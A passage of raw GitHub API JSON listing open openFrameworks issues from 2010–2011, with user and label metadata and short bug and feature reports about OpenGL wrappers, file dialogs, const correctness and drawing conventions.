points..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/340","id":524875,"number":340,"title":"OF wrapper for basic gl functions that aren't intuitive to newbies","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-13T16:16:40Z","updated_at":"2011-01-13T16:16:40Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"e.g., GL_DEPTH_TEST.\r\n\r\none of the reasons for this is that it's not obvious to newbies what common features are available.\r\n\r\nanother is that i've seen lots of people write GL_DEPTH instead, which obviously doesn't work.\r\n\r\nthere might be some others too, see processing's hint():\r\n\r\nhttp://processing.org/reference/hint_.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/337","id":523837,"number":337,"title":"ofFileDialog allow folder selection ( works on os x ) needs code for win and linux","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":7,"created_at":"2011-01-13T05:21:53Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/324","id":522231,"number":324,"title":"ofPushView/ofPopView appear before ofPushMatrix/ofPopMatrix","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-12T15:34:48Z","updated_at":"2011-01-12T15:34:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ordering for code completion is a little weird."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/311","id":518434,"number":311,"title":"openFrameworksLib has ofQtUtils included twice","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-10T22:30:48Z","updated_at":"2011-01-10T22:30:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"under the /video directory"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/305","id":516844,"number":305,"title":"no implementation in ofBaseTypes","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-10T06:36:27Z","updated_at":"2011-01-10T06:36:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"better to use aggregation (helper classes/functions) if necessary for common functionality that have implementation in those classes. making them pure abstract classes will avoid problems with multiple inheritance and easier to extend in case of different behaviour"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/302","id":516565,"number":302,"title":"Remove Poco CppUnit from all projects ( done on os x )","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":3,"created_at":"2011-01-10T02:39:28Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/298","id":516559,"number":298,"title":"Update Freetype to latest versions. ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":4,"created_at":"2011-01-10T02:37:49Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/292","id":516071,"number":292,"title":"ofTexture should be more flexible","user":{"login":"I33N","id":520375,"avatar_url":"https://secure.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","url":"https://api.github.com/users/I33N","html_url":"https://github.com/I33N","followers_url":"https://api.github.com/users/I33N/followers","following_url":"https://api.github.com/users/I33N/following","gists_url":"https://api.github.com/users/I33N/gists{/gist_id}","starred_url":"https://api.github.com/users/I33N/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/I33N/subscriptions","organizations_url":"https://api.github.com/users/I33N/orgs","repos_url":"https://api.github.com/users/I33N/repos","events_url":"https://api.github.com/users/I33N/events{/privacy}","received_events_url":"https://api.github.com/users/I33N/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-09T20:46:43Z","updated_at":"2011-01-09T20:46:43Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I think the pixeltype, the gltypeinternal and the gltype should be accessible to the user as well as the loadData(void * data, int w, int h, int glDataType) which is actually protected.\r\n\r\nActual implementation is only limited to a few choice of internalFormat which lead to choice of pixeltype and gltype. It thus doesn't allow from user specific type."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/288","id":513779,"number":288,"title":"const correctness - add const to getWidth/getHeight","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2011-01-08T02:14:03Z","updated_at":"2011-12-03T10:49:15Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofImage::getWidth()/getHeight() are just getters that do absolutely nothing but return a copy of the width and height. these methods should be marked const.\r\n\r\n[added]: there are hacks inside ofxCv that i've had to make because getWidth/getHeight are not const correct. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/275","id":445829,"number":275,"title":"atexit(ofExitCallback);","user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2010-11-30T05:13:10Z","updated_at":"2010-11-30T05:13:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/271","id":433297,"number":271,"title":"ofDrawBitmapString draws from bottom left","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2010-11-22T21:30:40Z","updated_at":"2011-03-17T02:02:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/264","id":425675,"number":264,"title":"ofClear uses inconsistent arguments","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2010-11-18T06:15:47Z","updated_at":"2011-09-19T22:47:21Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofClear(r,g,b) is inconsistent with 